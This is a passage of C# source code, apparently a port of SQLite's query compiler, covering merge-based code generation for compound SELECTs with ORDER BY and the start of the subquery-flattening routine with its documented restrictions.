multiSelectOrderBy(\n    Parse pParse,         /* Parsing context */\n    Select p,             /* The right-most of SELECTs to be coded */\n    SelectDest pDest      /* What to do with query results */\n    )\n    {\n      int i, j;             /* Loop counters */\n      Select pPrior;        /* Another SELECT immediately to our left */\n      Vdbe v;               /* Generate code to this VDBE */\n      SelectDest destA = new SelectDest();     /* Destination for coroutine A */\n      SelectDest destB = new SelectDest();     /* Destination for coroutine B */\n      int regAddrA;         /* Address register for select-A coroutine */\n      int regEofA;          /* Flag to indicate when select-A is complete */\n      int regAddrB;         /* Address register for select-B coroutine */\n      int regEofB;          /* Flag to indicate when select-B is complete */\n      int addrSelectA;      /* Address of the select-A coroutine */\n      int addrSelectB;      /* Address of the select-B coroutine */\n      int regOutA;          /* Address register for the output-A subroutine */\n      int regOutB;          /* Address register for the output-B subroutine */\n      int addrOutA;         /* Address of the output-A subroutine */\n      int addrOutB = 0;     /* Address of the output-B subroutine */\n      int addrEofA;         /* Address of the select-A-exhausted subroutine */\n      int addrEofB;         /* Address of the select-B-exhausted subroutine */\n      int addrAltB;         /* Address of the A<B subroutine */\n      int addrAeqB;         /* Address of the A==B subroutine */\n      int addrAgtB;         /* Address of the A>B subroutine */\n      int regLimitA;        /* Limit register for select-A */\n      int regLimitB;        /* Limit register for select-A */\n      int regPrev;          /* A range of registers to hold previous output */\n      int savedLimit;       /* Saved value of p.iLimit */\n      int savedOffset;      /* Saved value of p.iOffset */\n      int labelCmpr;        /* Label for the start of the merge algorithm */\n      int labelEnd;         /* Label for the end of the overall SELECT stmt */\n      int j1;               /* Jump instructions that get retargetted */\n      int op;               /* One of TK_ALL, TK_UNION, TK_EXCEPT, TK_INTERSECT */\n      KeyInfo pKeyDup = null;      /* Comparison information for duplicate removal */\n      KeyInfo pKeyMerge;    /* Comparison information for merging rows */\n      sqlite3 db;           /* Database connection */\n      ExprList pOrderBy;    /* The ORDER BY clause */\n      int nOrderBy;         /* Number of terms in the ORDER BY clause */\n      int[] aPermute;       /* Mapping from ORDER BY terms to result set columns */\n\n      Debug.Assert( p.pOrderBy != null );\n      Debug.Assert( pKeyDup == null ); /* \"Managed\" code needs this.  Ticket #3382. */\n      db = pParse.db;\n      v = pParse.pVdbe;\n      Debug.Assert( v != null );       /* Already thrown the error if VDBE alloc failed */\n      labelEnd = sqlite3VdbeMakeLabel( v );\n      labelCmpr = sqlite3VdbeMakeLabel( v );\n\n\n      /* Patch up the ORDER BY clause\n      */\n      op = p.op;\n      pPrior = p.pPrior;\n      Debug.Assert( pPrior.pOrderBy == null );\n      pOrderBy = p.pOrderBy;\n      Debug.Assert( pOrderBy != null );\n      nOrderBy = pOrderBy.nExpr;\n\n      /* For operators other than UNION ALL we have to make sure that\n      ** the ORDER BY clause covers every term of the result set.  Add\n      ** terms to the ORDER BY clause as necessary.\n      */\n      if ( op != TK_ALL )\n      {\n        for ( i = 1 ; /* db.mallocFailed == 0 && */ i <= p.pEList.nExpr ; i++ )\n        {\n          ExprList_item pItem;\n          for ( j = 0 ; j < nOrderBy ; j++ )//, pItem++)\n          {\n            pItem = pOrderBy.a[j];\n            Debug.Assert( pItem.iCol > 0 );\n            if ( pItem.iCol == i ) break;\n          }\n          if ( j == nOrderBy )\n          {\n            Expr pNew = sqlite3Expr( db, TK_INTEGER, null );\n            if ( pNew == null ) return SQLITE_NOMEM;\n            pNew.flags |= EP_IntValue;\n            pNew.u.iValue = i;\n            pOrderBy = sqlite3ExprListAppend( pParse, pOrderBy, pNew );\n            pOrderBy.a[nOrderBy++].iCol = (u16)i;\n          }\n        }\n      }\n\n      /* Compute the comparison permutation and keyinfo that is used with\n      ** the permutation used to determine if the next\n      ** row of results comes from selectA or selectB.  Also add explicit\n      ** collations to the ORDER BY clause terms so that when the subqueries\n      ** to the right and the left are evaluated, they use the correct\n      ** collation.\n      */\n      aPermute = new int[nOrderBy];// sqlite3DbMallocRaw( db, sizeof( int ) * nOrderBy );\n      if ( aPermute != null )\n      {\n        ExprList_item pItem;\n        for ( i = 0 ; i < nOrderBy ; i++ )//, pItem++)\n        {\n          pItem = pOrderBy.a[i];\n          Debug.Assert( pItem.iCol > 0 && pItem.iCol <= p.pEList.nExpr );\n          aPermute[i] = pItem.iCol - 1;\n        }\n        pKeyMerge = new KeyInfo();//      sqlite3DbMallocRaw(db, sizeof(*pKeyMerge)+nOrderBy*(sizeof(CollSeq*)+1));\n        if ( pKeyMerge != null )\n        {\n          pKeyMerge.aColl = new CollSeq[nOrderBy];\n          pKeyMerge.aSortOrder = new byte[nOrderBy];//(u8*)&pKeyMerge.aColl[nOrderBy];\n          pKeyMerge.nField = (u16)nOrderBy;\n          pKeyMerge.enc = ENC( db );\n          for ( i = 0 ; i < nOrderBy ; i++ )\n          {\n            CollSeq pColl;\n            Expr pTerm = pOrderBy.a[i].pExpr;\n            if ( ( pTerm.flags & EP_ExpCollate ) != 0 )\n            {\n              pColl = pTerm.pColl;\n            }\n            else\n            {\n              pColl = multiSelectCollSeq( pParse, p, aPermute[i] );\n              pTerm.flags |= EP_ExpCollate;\n              pTerm.pColl = pColl;\n            }\n            pKeyMerge.aColl[i] = pColl;\n            pKeyMerge.aSortOrder[i] = (byte)pOrderBy.a[i].sortOrder;\n          }\n        }\n      }\n      else\n      {\n        pKeyMerge = null;\n      }\n\n      /* Reattach the ORDER BY clause to the query.\n      */\n      p.pOrderBy = pOrderBy;\n      pPrior.pOrderBy = sqlite3ExprListDup( pParse.db, pOrderBy, 0 );\n\n      /* Allocate a range of temporary registers and the KeyInfo needed\n      ** for the logic that removes duplicate result rows when the\n      ** operator is UNION, EXCEPT, or INTERSECT (but not UNION ALL).\n      */\n      if ( op == TK_ALL )\n      {\n        regPrev = 0;\n      }\n      else\n      {\n        int nExpr = p.pEList.nExpr;\n        Debug.Assert( nOrderBy >= nExpr /*|| db.mallocFailed != 0 */ );\n        regPrev = sqlite3GetTempRange( pParse, nExpr + 1 );\n        sqlite3VdbeAddOp2( v, OP_Integer, 0, regPrev );\n        pKeyDup = new KeyInfo();//sqlite3DbMallocZero(db,\n        //sizeof(*pKeyDup) + nExpr*(sizeof(CollSeq*)+1) );\n        if ( pKeyDup != null )\n        {\n          pKeyDup.aColl = new CollSeq[nExpr];\n          pKeyDup.aSortOrder = new byte[nExpr];//(u8*)&pKeyDup.aColl[nExpr];\n          pKeyDup.nField = (u16)nExpr;\n          pKeyDup.enc = ENC( db );\n          for ( i = 0 ; i < nExpr ; i++ )\n          {\n            pKeyDup.aColl[i] = multiSelectCollSeq( pParse, p, i );\n            pKeyDup.aSortOrder[i] = 0;\n          }\n        }\n      }\n\n      /* Separate the left and the right query from one another\n      */\n      p.pPrior = null;\n      pPrior.pRightmost = null;\n      sqlite3ResolveOrderGroupBy( pParse, p, p.pOrderBy, \"ORDER\" );\n      if ( pPrior.pPrior == null )\n      {\n        sqlite3ResolveOrderGroupBy( pParse, pPrior, pPrior.pOrderBy, \"ORDER\" );\n      }\n\n      /* Compute the limit registers */\n      computeLimitRegisters( pParse, p, labelEnd );\n      if ( p.iLimit != 0 && op == TK_ALL )\n      {\n        regLimitA = ++pParse.nMem;\n        regLimitB = ++pParse.nMem;\n        sqlite3VdbeAddOp2( v, OP_Copy, ( p.iOffset != 0 ) ? p.iOffset + 1 : p.iLimit,\n        regLimitA );\n        sqlite3VdbeAddOp2( v, OP_Copy, regLimitA, regLimitB );\n      }\n      else\n      {\n        regLimitA = regLimitB = 0;\n      }\n      sqlite3ExprDelete( db, ref p.pLimit );\n      p.pLimit = null;\n      sqlite3ExprDelete( db, ref p.pOffset );\n      p.pOffset = null;\n\n      regAddrA = ++pParse.nMem;\n      regEofA = ++pParse.nMem;\n      regAddrB = ++pParse.nMem;\n      regEofB = ++pParse.nMem;\n      regOutA = ++pParse.nMem;\n      regOutB = ++pParse.nMem;\n      sqlite3SelectDestInit( destA, SRT_Coroutine, regAddrA );\n      sqlite3SelectDestInit( destB, SRT_Coroutine, regAddrB );\n\n      /* Jump past the various subroutines and coroutines to the main\n      ** merge loop\n      */\n      j1 = sqlite3VdbeAddOp0( v, OP_Goto );\n      addrSelectA = sqlite3VdbeCurrentAddr( v );\n\n\n      /* Generate a coroutine to evaluate the SELECT statement to the\n      ** left of the compound operator - the \"A\" select.\n      */\n      VdbeNoopComment( v, \"Begin coroutine for left SELECT\" );\n      pPrior.iLimit = regLimitA;\n      sqlite3Select( pParse, pPrior, ref destA );\n      sqlite3VdbeAddOp2( v, OP_Integer, 1, regEofA );\n      sqlite3VdbeAddOp1( v, OP_Yield, regAddrA );\n      VdbeNoopComment( v, \"End coroutine for left SELECT\" );\n\n      /* Generate a coroutine to evaluate the SELECT statement on\n      ** the right - the \"B\" select\n      */\n      addrSelectB = sqlite3VdbeCurrentAddr( v );\n      VdbeNoopComment( v, \"Begin coroutine for right SELECT\" );\n      savedLimit = p.iLimit;\n      savedOffset = p.iOffset;\n      p.iLimit = regLimitB;\n      p.iOffset = 0;\n      sqlite3Select( pParse, p, ref destB );\n      p.iLimit = savedLimit;\n      p.iOffset = savedOffset;\n      sqlite3VdbeAddOp2( v, OP_Integer, 1, regEofB );\n      sqlite3VdbeAddOp1( v, OP_Yield, regAddrB );\n      VdbeNoopComment( v, \"End coroutine for right SELECT\" );\n\n      /* Generate a subroutine that outputs the current row of the A\n      ** select as the next output row of the compound select.\n      */\n      VdbeNoopComment( v, \"Output routine for A\" );\n      addrOutA = generateOutputSubroutine( pParse,\n      p, destA, pDest, regOutA,\n      regPrev, pKeyDup, P4_KEYINFO_HANDOFF, labelEnd );\n\n      /* Generate a subroutine that outputs the current row of the B\n      ** select as the next output row of the compound select.\n      */\n      if ( op == TK_ALL || op == TK_UNION )\n      {\n        VdbeNoopComment( v, \"Output routine for B\" );\n        addrOutB = generateOutputSubroutine( pParse,\n        p, destB, pDest, regOutB,\n        regPrev, pKeyDup, P4_KEYINFO_STATIC, labelEnd );\n      }\n\n      /* Generate a subroutine to run when the results from select A\n      ** are exhausted and only data in select B remains.\n      */\n      VdbeNoopComment( v, \"eof-A subroutine\" );\n      if ( op == TK_EXCEPT || op == TK_INTERSECT )\n      {\n        addrEofA = sqlite3VdbeAddOp2( v, OP_Goto, 0, labelEnd );\n      }\n      else\n      {\n        addrEofA = sqlite3VdbeAddOp2( v, OP_If, regEofB, labelEnd );\n        sqlite3VdbeAddOp2( v, OP_Gosub, regOutB, addrOutB );\n        sqlite3VdbeAddOp1( v, OP_Yield, regAddrB );\n        sqlite3VdbeAddOp2( v, OP_Goto, 0, addrEofA );\n      }\n\n      /* Generate a subroutine to run when the results from select B\n      ** are exhausted and only data in select A remains.\n      */\n      if ( op == TK_INTERSECT )\n      {\n        addrEofB = addrEofA;\n      }\n      else\n      {\n        VdbeNoopComment( v, \"eof-B subroutine\" );\n        addrEofB = sqlite3VdbeAddOp2( v, OP_If, regEofA, labelEnd );\n        sqlite3VdbeAddOp2( v, OP_Gosub, regOutA, addrOutA );\n        sqlite3VdbeAddOp1( v, OP_Yield, regAddrA );\n        sqlite3VdbeAddOp2( v, OP_Goto, 0, addrEofB );\n      }\n\n      /* Generate code to handle the case of A<B\n      */\n      VdbeNoopComment( v, \"A-lt-B subroutine\" );\n      addrAltB = sqlite3VdbeAddOp2( v, OP_Gosub, regOutA, addrOutA );\n      sqlite3VdbeAddOp1( v, OP_Yield, regAddrA );\n      sqlite3VdbeAddOp2( v, OP_If, regEofA, addrEofA );\n      sqlite3VdbeAddOp2( v, OP_Goto, 0, labelCmpr );\n\n      /* Generate code to handle the case of A==B\n      */\n      if ( op == TK_ALL )\n      {\n        addrAeqB = addrAltB;\n      }\n      else if ( op == TK_INTERSECT )\n      {\n        addrAeqB = addrAltB;\n        addrAltB++;\n      }\n      else\n      {\n        VdbeNoopComment( v, \"A-eq-B subroutine\" );\n        addrAeqB =\n        sqlite3VdbeAddOp1( v, OP_Yield, regAddrA );\n        sqlite3VdbeAddOp2( v, OP_If, regEofA, addrEofA );\n        sqlite3VdbeAddOp2( v, OP_Goto, 0, labelCmpr );\n      }\n\n      /* Generate code to handle the case of A>B\n      */\n      VdbeNoopComment( v, \"A-gt-B subroutine\" );\n      addrAgtB = sqlite3VdbeCurrentAddr( v );\n      if ( op == TK_ALL || op == TK_UNION )\n      {\n        sqlite3VdbeAddOp2( v, OP_Gosub, regOutB, addrOutB );\n      }\n      sqlite3VdbeAddOp1( v, OP_Yield, regAddrB );\n      sqlite3VdbeAddOp2( v, OP_If, regEofB, addrEofB );\n      sqlite3VdbeAddOp2( v, OP_Goto, 0, labelCmpr );\n\n      /* This code runs once to initialize everything.\n      */\n      sqlite3VdbeJumpHere( v, j1 );\n      sqlite3VdbeAddOp2( v, OP_Integer, 0, regEofA );\n      sqlite3VdbeAddOp2( v, OP_Integer, 0, regEofB );\n      sqlite3VdbeAddOp2( v, OP_Gosub, regAddrA, addrSelectA );\n      sqlite3VdbeAddOp2( v, OP_Gosub, regAddrB, addrSelectB );\n      sqlite3VdbeAddOp2( v, OP_If, regEofA, addrEofA );\n      sqlite3VdbeAddOp2( v, OP_If, regEofB, addrEofB );\n\n      /* Implement the main merge loop\n      */\n      sqlite3VdbeResolveLabel( v, labelCmpr );\n      sqlite3VdbeAddOp4( v, OP_Permutation, 0, 0, 0, aPermute, P4_INTARRAY );\n      sqlite3VdbeAddOp4( v, OP_Compare, destA.iMem, destB.iMem, nOrderBy,\n      pKeyMerge, P4_KEYINFO_HANDOFF );\n      sqlite3VdbeAddOp3( v, OP_Jump, addrAltB, addrAeqB, addrAgtB );\n\n      /* Release temporary registers\n      */\n      if ( regPrev != 0 )\n      {\n        sqlite3ReleaseTempRange( pParse, regPrev, nOrderBy + 1 );\n      }\n\n      /* Jump to the this point in order to terminate the query.\n      */\n      sqlite3VdbeResolveLabel( v, labelEnd );\n\n      /* Set the number of output columns\n      */\n      if ( pDest.eDest == SRT_Output )\n      {\n        Select pFirst = pPrior;\n        while ( pFirst.pPrior != null ) pFirst = pFirst.pPrior;\n        generateColumnNames( pParse, null, pFirst.pEList );\n      }\n\n      /* Reassembly the compound query so that it will be freed correctly\n      ** by the calling function */\n      if ( p.pPrior != null )\n      {\n        sqlite3SelectDelete( db, ref p.pPrior );\n      }\n      p.pPrior = pPrior;\n\n      /*** TBD:  Insert subroutine calls to close cursors on incomplete\n      **** subqueries ****/\n      return SQLITE_OK;\n    }\n#endif\n#if !(SQLITE_OMIT_SUBQUERY) || !(SQLITE_OMIT_VIEW)\n    /* Forward Declarations */\n    //static void substExprList(sqlite3*, ExprList*, int, ExprList*);\n    //static void substSelect(sqlite3*, Select *, int, ExprList *);\n\n    /*\n    ** Scan through the expression pExpr.  Replace every reference to\n    ** a column in table number iTable with a copy of the iColumn-th\n    ** entry in pEList.  (But leave references to the ROWID column\n    ** unchanged.)\n    **\n    ** This routine is part of the flattening procedure.  A subquery\n    ** whose result set is defined by pEList appears as entry in the\n    ** FROM clause of a SELECT such that the VDBE cursor assigned to that\n    ** FORM clause entry is iTable.  This routine make the necessary\n    ** changes to pExpr so that it refers directly to the source table\n    ** of the subquery rather the result set of the subquery.\n    */\n    static Expr substExpr(\n    sqlite3 db,        /* Report malloc errors to this connection */\n    Expr pExpr,        /* Expr in which substitution occurs */\n    int iTable,        /* Table to be substituted */\n    ExprList pEList    /* Substitute expressions */\n    )\n    {\n      if ( pExpr == null ) return null;\n      if ( pExpr.op == TK_COLUMN && pExpr.iTable == iTable )\n      {\n        if ( pExpr.iColumn < 0 )\n        {\n          pExpr.op = TK_NULL;\n        }\n        else\n        {\n          Expr pNew;\n          Debug.Assert( pEList != null && pExpr.iColumn < pEList.nExpr );\n          Debug.Assert( pExpr.pLeft == null && pExpr.pRight == null );\n          pNew = sqlite3ExprDup( db, pEList.a[pExpr.iColumn].pExpr, 0 );\n          if ( pExpr.pColl != null )\n          {\n            pNew.pColl = pExpr.pColl;\n          }\n          sqlite3ExprDelete( db, ref pExpr );\n          pExpr = pNew;\n        }\n      }\n      else\n      {\n        pExpr.pLeft = substExpr( db, pExpr.pLeft, iTable, pEList );\n        pExpr.pRight = substExpr( db, pExpr.pRight, iTable, pEList );\n        if ( ExprHasProperty( pExpr, EP_xIsSelect ) )\n        {\n          substSelect( db, pExpr.x.pSelect, iTable, pEList );\n        }\n        else\n        {\n          substExprList( db, pExpr.x.pList, iTable, pEList );\n        }\n      }\n      return pExpr;\n    }\n\n    static void substExprList(\n    sqlite3 db,         /* Report malloc errors here */\n    ExprList pList,     /* List to scan and in which to make substitutes */\n    int iTable,          /* Table to be substituted */\n    ExprList pEList     /* Substitute values */\n    )\n    {\n      int i;\n      if ( pList == null ) return;\n      for ( i = 0 ; i < pList.nExpr ; i++ )\n      {\n        pList.a[i].pExpr = substExpr( db, pList.a[i].pExpr, iTable, pEList );\n      }\n    }\n\n    static void substSelect(\n    sqlite3 db,         /* Report malloc errors here */\n    Select p,           /* SELECT statement in which to make substitutions */\n    int iTable,          /* Table to be replaced */\n    ExprList pEList     /* Substitute values */\n    )\n    {\n      SrcList pSrc;\n      SrcList_item pItem;\n      int i;\n      if ( p == null ) return;\n      substExprList( db, p.pEList, iTable, pEList );\n      substExprList( db, p.pGroupBy, iTable, pEList );\n      substExprList( db, p.pOrderBy, iTable, pEList );\n      p.pHaving = substExpr( db, p.pHaving, iTable, pEList );\n      p.pWhere = substExpr( db, p.pWhere, iTable, pEList );\n      substSelect( db, p.pPrior, iTable, pEList );\n      pSrc = p.pSrc;\n      Debug.Assert( pSrc != null );  /* Even for (SELECT 1) we have: pSrc!=0 but pSrc->nSrc==0 */\n      if ( ALWAYS( pSrc ) )\n      {\n        for ( i = pSrc.nSrc ; i > 0 ; i-- )//, pItem++ )\n        {\n          pItem = pSrc.a[pSrc.nSrc - i];\n          substSelect( db, pItem.pSelect, iTable, pEList );\n        }\n      }\n    }\n#endif //* !SQLITE_OMIT_SUBQUERY) || !SQLITE_OMIT_VIEW) */\n\n#if !(SQLITE_OMIT_SUBQUERY) || !(SQLITE_OMIT_VIEW)\n    /*\n** This routine attempts to flatten subqueries in order to speed\n** execution.  It returns 1 if it makes changes and 0 if no flattening\n** occurs.\n**\n** To understand the concept of flattening, consider the following\n** query:\n**\n**     SELECT a FROM (SELECT x+y AS a FROM t1 WHERE z<100) WHERE a>5\n**\n** The default way of implementing this query is to execute the\n** subquery first and store the results in a temporary table, then\n** run the outer query on that temporary table.  This requires two\n** passes over the data.  Furthermore, because the temporary table\n** has no indices, the WHERE clause on the outer query cannot be\n** optimized.\n**\n** This routine attempts to rewrite queries such as the above into\n** a single flat select, like this:\n**\n**     SELECT x+y AS a FROM t1 WHERE z<100 AND a>5\n**\n** The code generated for this simpification gives the same result\n** but only has to scan the data once.  And because indices might\n** exist on the table t1, a complete scan of the data might be\n** avoided.\n**\n** Flattening is only attempted if all of the following are true:\n**\n**   (1)  The subquery and the outer query do not both use aggregates.\n**\n**   (2)  The subquery is not an aggregate or the outer query is not a join.\n**\n**   (3)  The subquery is not the right operand of a left outer join\n**        (Originally ticket #306.  Strenghtened by ticket #3300)\n**\n**   (4)  The subquery is not DISTINCT or the outer query is not a join.\n**\n**   (5)  The subquery is not DISTINCT or the outer query does not use\n**        aggregates.\n**\n**   (6)  The subquery does not use aggregates or the outer query is not\n**        DISTINCT.\n**\n**   (7)  The subquery has a FROM clause.\n**\n**   (8)  The subquery does not use LIMIT or the outer query is not a join.\n**\n**   (9)  The subquery does not use LIMIT or the outer query does not use\n**        aggregates.\n**\n**  (10)  The subquery does not use aggregates or the outer query does not\n**        use LIMIT.\n**\n**  (11)  The subquery and the outer query do not both have ORDER BY clauses.\n**\n**  (12)  Not implemented.  Subsumed into restriction (3).  Was previously\n**        a separate restriction deriving from ticket #350.\n**\n**  (13)  The subquery and outer query do not both use LIMIT\n**\n**  (14)  The subquery does not use OFFSET\n**\n**  (15)  The outer query is not part of a compound select or the\n**        subquery does not have both an ORDER BY and a LIMIT clause.\n**        (See ticket #2339)\n**\n**  (16)  The outer query is not an aggregate or the subquery does\n**        not contain ORDER BY.  (Ticket #2942)  This used to not matter\n**        until we introduced the group_concat() function.\n**\n**  (17)  The sub-query is not a compound select, or it is a UNION ALL\n**        compound clause made up entirely of non-aggregate queries, and\n**        the parent query:\n**\n**          * is not itself part of a compound select,\n**          * is not an aggregate or DISTINCT query, and\n**          * has no other tables or sub-selects in the FROM clause.\n**\n**        The parent and sub-query may contain WHERE clauses. Subject to\n**        rules (11), (13) and (14), they may also contain ORDER BY,\n**        LIMIT and OFFSET clauses.\n**\n**  (18)  If the sub-query is a compound select, then all terms of the\n**        ORDER by clause of the parent must be simple references to\n**        columns of the sub-query.\n**\n**  (19)  The subquery does not use LIMIT or the outer query does not\n**        have a WHERE clause.\n**\n**  (20)  If the sub-query is a compound select, then it must not use\n**        an ORDER BY clause.  Ticket #3773.  We could relax this constraint\n**        somewhat by saying that the terms of the ORDER BY clause must\n**        appear as unmodified result columns in the outer query.  But\n**        have other optimizations in mind to deal with that case.\n**\n** In this routine, the \"p\" parameter is a pointer to the outer query.\n** The subquery is p.pSrc.a[iFrom].  isAgg is true if the outer query\n** uses aggregates and subqueryIsAgg is true if the subquery uses aggregates.\n**\n** If flattening is not attempted, this routine is a no-op and returns 0.\n** If flattening is attempted this routine returns 1.\n**\n** All of the expression analysis must occur on both the outer query and\n** the subquery before this routine runs.\n*/\n    static int flattenSubquery(\n    Parse pParse,        /* Parsing context */\n    Select p,            /* The parent or outer SELECT statement */\n    int iFrom,           /* Index in p.pSrc.a[] of the inner subquery */\n    bool isAgg,          /* True if outer SELECT uses aggregate functions */\n    bool subqueryIsAgg   /* True if the subquery uses aggregate functions */\n    )\n    {\n      string zSavedAuthContext = pParse.zAuthContext;\n      Select pParent;\n      Select pSub;         /* The inner query or \"subquery\" */\n      Select pSub1;      /* Pointer to the rightmost select in sub-query */\n      SrcList pSrc;        /* The FROM clause of the outer query */\n      SrcList pSubSrc;     /* The FROM clause of the subquery */\n      ExprList pList;      /* The result set of the outer query */\n      int iParent;         /* VDBE cursor number of the pSub result set temp table */\n      int i;               /* Loop counter */\n      Expr pWhere;         /* The WHERE clause */\n      SrcList_item pSubitem;/* The subquery */\n      sqlite3 db = pParse.db;\n\n      /* Check to see if flattening is permitted.  Return 0 if not.\n      */\n      Debug.Assert( p != null );\n      Debug.Assert( p.pPrior == null );  /* Unable to flatten compound queries */\n      pSrc = p.pSrc;\n      Debug.Assert( pSrc != null && iFrom >= 0 && iFrom < pSrc.nSrc );\n      pSubitem = pSrc.a[iFrom];\n      iParent = pSubitem.iCursor;\n      pSub = pSubitem.pSelect;\n      Debug.Assert( pSub != null );\n      if ( isAgg && subqueryIsAgg ) return 0;                 /* Restriction (1)  */\n      if ( subqueryIsAgg && pSrc.nSrc > 1 ) return 0;          /* Restriction (2)  */\n      pSubSrc = pSub.pSrc;\n      Debug.Assert( pSubSrc != null );\n      /* Prior to version 3.1.2, when LIMIT and OFFSET had to be simple constants,\n      ** not arbitrary expresssions, we allowed some combining of LIMIT and OFFSET\n      ** because they could be computed at compile-time.  But when LIMIT and OFFSET\n      ** became arbitrary expressions, we were forced to add restrictions (13)\n      ** and (14). */\n      if ( pSub.pLimit != null && p.pLimit != null ) return 0;              /* Restriction (13) */\n      if ( pSub.pOffset != null ) return 0;                          /* Restriction (14) */\n      if ( p.pRightmost != null && pSub.pLimit != null && pSub.pOrderBy != null )\n      {\n        return 0;                                            /* Restriction (15) */\n      }\n      if ( pSubSrc.nSrc == 0 ) return 0;                       /* Restriction (7)  */\n      if ( ( pSub.selFlags & SF_Distinct ) != 0 || pSub.pLimit != null\n      && ( pSrc.nSrc > 1 || isAgg ) )\n      {          /* Restrictions (4)(5)(8)(9) */\n        return 0;\n      }\n      if ( ( p.selFlags & SF_Distinct ) != 0 && subqueryIsAgg )\n      {\n        return 0;         /* Restriction (6)  */\n      }\n      if ( p.pOrderBy != null && pSub.pOrderBy != null )\n      {\n        return 0;                                           /* Restriction (11) */\n      }\n      if ( isAgg && pSub.pOrderBy != null ) return 0;                /* Restriction (16) */\n      if ( pSub.pLimit != null && p.pWhere != null ) return 0;              /* Restriction (19) */\n\n      /* OBSOLETE COMMENT 1:\n      ** Restriction 3:  If the subquery is a join, make sure the subquery is\n      ** not used as the right operand of an outer join.  Examples of why this\n      ** is not allowed:\n      **\n      **         t1 LEFT OUTER JOIN (t2 JOIN t3)\n      **\n      ** If we flatten the above, we would get\n      **\n      **         (t1 LEFT OUTER JOIN t2) JOIN t3\n      **\n      ** which is not at all the same thing.\n      **\n      ** OBSOLETE COMMENT 2:\n      ** Restriction 12:  If the subquery is the right operand of a left outer\n\n      /* Restriction 12:  If the subquery is the right operand of a left outer\n      ** join, make sure the subquery has no WHERE clause.\n      ** An examples of why this is not allowed:\n      **\n      **         t1 LEFT OUTER JOIN (SELECT * FROM t2 WHERE t2.x>0)\n      **\n      ** If we flatten the above, we would get\n      **\n      **         (t1 LEFT OUTER JOIN t2) WHERE t2.x>0\n      **\n      ** But the t2.x>0 test will always fail on a NULL row of t2, which\n      ** effectively converts the OUTER JOIN into an INNER JOIN.\n      **\n      ** THIS OVERRIDES OBSOLETE COMMENTS 1 AND 2 ABOVE:\n      ** Ticket #3300 shows that flattening the right term of a LEFT JOIN\n      ** is fraught with danger.  Best to avoid the whole thing.  If the\n      ** subquery is the right term of a LEFT JOIN, then do not flatten.\n      */\n      if ( ( pSubitem.jointype & JT_OUTER ) != 0 )\n      {\n        return 0;\n      }\n\n      /* Restriction 17: If the sub-query is a compound SELECT, then it must\n      ** use only the UNION ALL operator. And none of the simple select queries\n      ** that make up the compound SELECT are allowed to be aggregate or distinct\n      ** queries.\n      */\n      if ( pSub.pPrior != null )\n      {\n        if ( pSub.pOrderBy != null )\n        {\n          return 0;  /* Restriction 20 */\n        }\n        if ( isAgg || ( p.selFlags & SF_Distinct ) != 0 || pSrc.nSrc != 1 )\n        {\n          return 0;\n        }\n        for ( pSub1 = pSub ; pSub1 != null ; pSub1 = pSub1.pPrior )\n        {\n          testcase( ( pSub1.selFlags & ( SF_Distinct | SF_Aggregate ) ) == SF_Distinct );\n          testcase( ( pSub1.selFlags & ( SF_Distinct | SF_Aggregate ) ) == SF_Aggregate );\n          if ( ( pSub1.selFlags & ( SF_Distinct | SF_Aggregate ) ) != 0\n          || ( pSub1.pPrior != null && pSub1.op != TK_ALL )\n          || NEVER( pSub1.pSrc == null ) || pSub1.pSrc.nSrc != 1\n          )\n          {\n            return 0;\n          }\n        }\n\n        /* Restriction 18. */\n        if ( p.pOrderBy != null )\n        {\n          int ii;\n          for ( ii = 0 ; ii < p.pOrderBy.nExpr ; ii++ )\n          {\n            if ( p.pOrderBy.a[ii].iCol == 0 ) return 0;\n          }\n        }\n      }\n\n      /***** If we reach this point, flattening is permitted. *****/\n\n      /* Authorize the subquery */\n      pParse.zAuthContext = pSubitem.zName;\n      sqlite3AuthCheck( pParse, SQLITE_SELECT, null, null, null );\n      pParse.zAuthContext = zSavedAuthContext;\n\n      /* If the sub-query is a compound SELECT statement, then (by restrictions\n      ** 17 and 18 above) it must be a UNION ALL and the parent query must\n      ** be of the form:\n      **\n      **     SELECT <expr-list> FROM (<sub-query>) <where-clause>\n      **\n      ** followed by any ORDER BY, LIMIT and/or OFFSET clauses. This block\n      ** creates N-1 copies of the parent query without any ORDER BY, LIMIT or\n      ** OFFSET clauses and joins them to the left-hand-side of the original\n      ** using UNION ALL operators. In this case N is the number of simple\n      ** select statements in the compound sub-query.\n      **\n      ** Example:\n      **\n      **     SELECT a+1 FROM (\n      **        SELECT x FROM tab\n      **        UNION ALL\n      **        SELECT y FROM tab\n      **        UNION ALL\n      **        SELECT abs(z*2) FROM tab2\n      **     ) WHERE a!=5 ORDER BY 1\n      **\n      ** Transformed into:\n      **\n      **     SELECT x+1 FROM tab WHERE x+1!=5\n      **     UNION ALL\n      **     SELECT y+1 FROM tab WHERE y+1!=5\n      **     UNION ALL\n      **     SELECT abs(z*2)+1 FROM tab2 WHERE abs(z*2)+1!=5\n      **     ORDER BY 1\n      **\n      ** We call this the \"compound-subquery flattening\".\n      */\n      for ( pSub = pSub.pPrior ; pSub != null ; pSub = pSub.pPrior )\n      {\n        Select pNew;\n        ExprList pOrderBy = p.pOrderBy;\n        Expr pLimit = p.pLimit;\n        Select pPrior = p.pPrior;\n        p.pOrderBy = null;\n        p.pSrc = null;\n        p.pPrior = null;\n        p.pLimit = null;\n        pNew = sqlite3SelectDup( db, p, 0 );\n        p.pLimit = pLimit;\n        p.pOrderBy = pOrderBy;\n        p.pSrc = pSrc;\n        p.op = TK_ALL;\n        p.pRightmost = null;\n        if ( pNew == null )\n        {\n          pNew = pPrior;\n        }\n        else\n        {\n          pNew.pPrior = pPrior;\n          pNew.pRightmost = null;\n        }\n        p.pPrior = pNew;\n//        if ( db.mallocFailed != 0 ) return 1;\n      }\n\n      /* Begin flattening the iFrom-th entry of the FROM clause\n      ** in the outer query.\n      */\n      pSub = pSub1 = pSubitem.pSelect;\n      /* Delete the transient table structure associated with the\n      ** subquery\n      */\n\n      //sqlite3DbFree( db, ref pSubitem.zDatabase );\n      //sqlite3DbFree( db, ref pSubitem.zName );\n      //sqlite3DbFree( db, ref pSubitem.zAlias );\n      pSubitem.zDatabase = null;\n      pSubitem.zName = null;\n      pSubitem.zAlias = null;\n      pSubitem.pSelect = null;\n      /* Defer deleting the Table object associated with the\n      ** subquery until code generation is\n      ** complete, since there may still exist Expr.pTab entries that\n      ** refer to the subquery even after flattening.  Ticket #3346.\n      **\n      ** pSubitem->pTab is always non-NULL by test restrictions and tests above.\n      */\n      if ( ALWAYS( pSubitem.pTab != null ) )\n      {\n        Table pTabToDel = pSubitem.pTab;\n        if ( 